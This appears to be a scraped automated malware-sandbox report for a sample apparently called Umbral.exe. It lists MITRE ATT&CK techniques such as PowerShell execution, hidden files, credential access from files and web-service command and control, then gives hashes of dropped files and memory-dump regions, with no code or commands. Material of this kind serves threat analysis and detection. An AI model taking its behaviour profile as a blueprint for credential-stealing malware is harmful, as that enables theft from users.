Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Umbral.exe.log

Filesize
1KB

MD5
4c8fa14eeeeda6fe76a08d14e08bf756

SHA1
30003b6798090ec74eb477bbed88e086f8552976

SHA256
7ebfcfca64b0c1c9f0949652d50a64452b35cefe881af110405cd6ec45f857a5

SHA512
116f80182c25cf0e6159cf59a35ee27d66e431696d29ec879c44521a74ab7523cbfdefeacfb6a3298b48788d7a6caa5336628ec9c1d8b9c9723338dcffea4116

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
bafce9e4c53a0cb85310891b6b21791b

SHA1
5d70027cc137a7cbb38f5801b15fd97b05e89ee2

SHA256
71fb546b5d2210a56e90b448ee10120cd92c518c8f79fb960f01b918f89f2b00

SHA512
c0e4d3eccc0135ac92051539a18f64b8b8628cfe74e5b019d4f8e1dcbb51a9b49c486a1523885fe6be53da7118c013852e753c26a5490538c1e721fd0188836c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
a499254d6b5d91f97eb7a86e5f8ca573

SHA1
03dbfebfec8c94a9c06f9b0cd81ebe0a2b8be3d1

SHA256
fb87b758c2b98989df851380293ff6786cb9a5cf2b3a384cec70d9f3eb064499

SHA512
d7adcc76d0470bcd68d7644de3c8d2b6d61df8485979a4752ceea3df4d85bd1c290f72b3d8d5c8d639d5a10afa48d80e457f76b44dd8107ac97eb80fd98c7b0c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
261B

MD5
2c2e6472d05e3832905f0ad4a04d21c3

SHA1
007edbf35759af62a5b847ab09055e7d9b86ffcc

SHA256
283d954fa21caa1f3b4aba941b154fab3e626ff27e7b8029f5357872c48cbe03

SHA512
8c4ce1ea02da6ffb7e7041c50528da447d087d9ee3c9f4a8c525d2d856cf48e46f5dd9a1fedd23dd047634e719c8886457f7e7240aa3cc36f1a6216e4c00ee37

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
bb643d81ee3456210f38b6fe1abab61a

SHA1
9fd2909e96c3e4214a691d2755d6b6f6a730e2a6

SHA256
449a738ccb742d5892871c0aa942c6d75efc7c11008c58019e91bf30b7b90208

SHA512
c1bf9d23e6f37cdbb274ad65833064db4417d4036f2b269cb3c8e4539c81d54eb68b06230967e5ae822530e6e27520e9d6ea2a0c501625daa95712a8fb4fc1fe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
ec80b17accbda7d137bfcd1775f6afee

SHA1
55a1c16d33bb6e59d7fc0e5832e01c8db5114fed

SHA256
72d134672a90f2c40808ef00e2eb893d8996f04cea85378e606108a326685299

SHA512
fde75f467e7bf725c298462841dfe6ee20a9f693ff85c28843c3074b4c184da9c99a58cfb218176aa8a1c98103f04cd9ab5e340c9c38b710fff310ec4faf3284

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
b1bdeb497a8e8099c35633c7dadd0720

SHA1
ba7ec52c4de449f6c7dbcb1307f042eeed6e2e97

SHA256
79d11ba811085c61e0f3a6b944f075bb571919a3eb0ac2258aa90e7a561ae9ac

SHA512
5376066f1d33a79817e4ea4246ef623703184257dbc4d56af8eb5a2be0afba3bf85c5e3cbbdf8db2e43b76db4793fc32e9bdabb7cfb02f149b581e190f14a61e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
3ad2d9b22e432e3d207ba20e5456a0b0

SHA1
278c9940e824275b9a4c6cf7a4f4649f0735fc53

SHA256
a801f77227475033aed903a7fab720ea13d113963eab7471ee53c2b730293a23

SHA512
cb55d9d45a7ee8efa60a7d247d9ac90b0f21df00037e5128032d47933745ccae59642044f35751edad11c0a29832a1c0bce7c42e8ff33943b58679de7a663fb8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
371B

MD5
c81722b6d960539ebd6994a31b1f8cbc

SHA1
8f269e16dbbb844611de0b4524ef59d23901e889

SHA256
b66482acd8062921d5e53e9da795f04168a7f2d1ef3e304e357e3ee0fdd38b26

SHA512
9364f6e8877826a4c26b21574b7e0be5aef0ac5fb29829ea6d1ba6c5503af6d3406c21225b0cf436055533445db682af4185d52c08449a1e37757e2b280879fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe58b447.TMP

Filesize
371B

MD5
aa239332e5c4054618c11aac0d230032

SHA1
fcf9ffc440f0c49a471601e1abb6175d1d2ba8b9

SHA256
9ecf415ab8ad4960bfd301cadad441b1aa3c405cfeda127ea1d0cf0c85a63c0d

SHA512
38333a5bf223d7e7ea3e31271352f5e1f78ce38406fc78fd9eec413368c4dd8442947a189033542db1380b1d842c6fc67969ae8f3b14124e04977a038e01c675

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
8708bed11863930e3ff1e2ec938d8236

SHA1
c313c2fe02de4c7ad7788aa55692a3c2eafeea58

SHA256
27e6343a2243c3c9d6d1df3502abf8262e780747f3cc053eff4bfc4916f8ad43

SHA512
a713a3b74a6999824e5fb608ae8551be2f5a2f68f79af996ee0cf0c0add00aa4027261e14d29f2bcbd5f249fa3badf1fd10a8600599db570c6a80dd7febb0a6e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
774682e5a3af7f8683e52f0c6fa4ce60

SHA1
5a200294b65c3a37f2fb12300957003e0a8a9195

SHA256
860207b05b1cf32e8d175b870e136d80dbd61abdd843467c80fd80aa74fde6c0

SHA512
907815ac3099ae092a786b43e52d0ca6f593a1746217ef27b8cf8e9a9f6f4a59903e9516c9f8d1f121acb71987a8beb87236b3af2e5edbcad269ac89a117a45f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
f185dbdacf01300ea1328bfd655fd500

SHA1
908e8734af6a3ca07d574a65b4342dd94cd12e2b

SHA256
7892657dd56e3ba6e31466138cd626715891c474e28c3cddcee5333db2a6a459

SHA512
583b88485a6ce370ae41a4477ed33ff0b6159a4e3ede3cce3e9fff14786be0d6f0494b42ec646db9a3389e8843cb31909d54b1ac95dd0b2d8e47f78f3e5d5a0a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
3b94cfbd907f8c58d700a83d31c2bf58

SHA1
2c1918f11973154bddf6dec0f3c654c0ed4571aa

SHA256
93eee860c60107049c7c91f6415c9606262f53a15bb6681ebe89d8784240d54d

SHA512
ad171e4882d4dad4e289a0498bca37eb5b9ce9acf1b8a7ca60ead7aa314477dcae2b4fec7a7fc81a51b92443008b62d1d112bff449b175c61c732f9f4bd66c76

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
67e6be673f6e0d7eed53d69719cbc909

SHA1
cee46c1a9d1f676972821ead35c5a81484e23250

SHA256
9550a75f4832d9877960bcef7d171fad974ffc72ca3ada82f802669dc21c3a6f

SHA512
c3e6bc3451ea951499c25a7bd56cc99ed6fd83449815f537e3f57f581cc6d9fd2bef5b21cbc31ddcf99832a45336a402704662edcc08679c353b77e96ab658ea

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c65738617888921a153bd9b1ef516ee7

SHA1
5245e71ea3c181d76320c857b639272ac9e079b1

SHA256
4640ba4001fd16a593315299cbdd4988dc2c7075820687f1018aac40aca95c26

SHA512
2e2a0ebd93f9d8dd07a7599054bce232683e9add9a35e77b584618040bcfd84a42545352519ec4736cc379002210b6f3ed2d905591c6925c0981b0392b495bfa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b5e2fd95470c50743ba121fd6bd03a7b

SHA1
75545ed499d9dde51a1fc1cf535eb4f50ec79250

SHA256
d9c961aaf784b9ce81b0a3aac7a39bd41e9f2702d9c28deb20e786d385b88288

SHA512
76bdc793f8b38f603b5ad0957474660bb09e963a2496564b8ceac6591d532fc9498214b81c3908bafc13ff0b07028457c6c997998adfd2203304cb1c82899423

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5b27d0f2e7023b0cb214f2d6320b5387

SHA1
2e5eeea0e9e6fc2162ad375aecddff7ed953d3e4

SHA256
6404e3da4c87b9969bc2ed0fd2a6377b61a7c10dfd70f7141b1d7ce4417cda23

SHA512
6794951bd4520340176063857917bc6f77d88d1acc26956b1af87c8d44393fc31094860b3811b2082765fec238877d2d5684bff9a11eb6efc2d8b8c5703456b3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
96ff1ee586a153b4e7ce8661cabc0442

SHA1
140d4ff1840cb40601489f3826954386af612136

SHA256
0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8

SHA512
3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
5824a6037c081fda5d46de274b6e2799

SHA1
526367a09300cbde430e8fb44e41cbe7a0937aac

SHA256
4d610d9cd32a20279c7133a726ff61820d6930e5aa18253ee1422f3a6f54953f

SHA512
a109b150f730cda78d5bee106bd232f9dca7500dfb7899c6919de2bd542e345ca271aa11809a24ea0a27dca158067ab3a2d5688ac0a2325185143245f1665582

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
92382908106bf04aac6575ae0e55073f

SHA1
b164dd606b60ada42fe843963f95e14e92d5d86a

SHA256
1332dc373efa610424b48ae9955247275f4f94cfeecec93a5121784ed8d6b3db

SHA512
d6ee3e3776f683b2a4eaf4fd92e2cd2b9412d85fb57556130d8cabf52e180fb17b5dcdfec9ccd0b3b80bed2816c0bd2d25de35580b859e7799b7cb61071edb3f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zpqlgeaz.qdx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 632526.crdownload

Filesize
231KB

MD5
fbf9fdbc55ee253a622f86078c6ef8c9

SHA1
5b4ff2abf96f2e1b5c9714f2d49104b16a5708e9

SHA256
65da4e90e03d7e836fed5e7374b021d2aa980c61bf697ea6c088d82d83bf0be7

SHA512
d1f227a5a8b778f86d6f608de07e1310382c49ac7aa1f0d774116dfcce11636e8c7445dacbea9bd715311a52a6924342498436184db0b1306b115187017fd572

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
2KB

MD5
4028457913f9d08b06137643fe3e01bc

SHA1
a5cb3f12beaea8194a2d3d83a62bdb8d558f5f14

SHA256
289d433902418aaf62e7b96b215ece04fcbcef2457daf90f46837a4d5090da58

SHA512
c8e1eef90618341bbde885fd126ece2b1911ca99d20d82f62985869ba457553b4c2bf1e841fd06dacbf27275b3b0940e5a794e1b1db0fd56440a96592362c28b

Download Submit
memory/4200-119-0x0000016D7B920000-0x0000016D7B996000-memory.dmp

Filesize
472KB

Download
memory/4200-184-0x0000016D7B9A0000-0x0000016D7BB49000-memory.dmp

Filesize
1.7MB

Download
memory/4200-120-0x0000016D7AE20000-0x0000016D7AE70000-memory.dmp

Filesize
320KB

Download
memory/4200-122-0x0000016D7ADE0000-0x0000016D7ADFE000-memory.dmp

Filesize
120KB

Download
memory/4200-160-0x0000016D7AE70000-0x0000016D7AE7A000-memory.dmp

Filesize
40KB

Download
memory/4200-161-0x0000016D7AEA0000-0x0000016D7AEB2000-memory.dmp

Filesize
72KB

Download
memory/4200-90-0x0000016D79140000-0x0000016D79180000-memory.dmp

Filesize
256KB

Download
memory/4276-91-0x00000216F0790000-0x00000216F07B2000-memory.dmp

Filesize
136KB

Download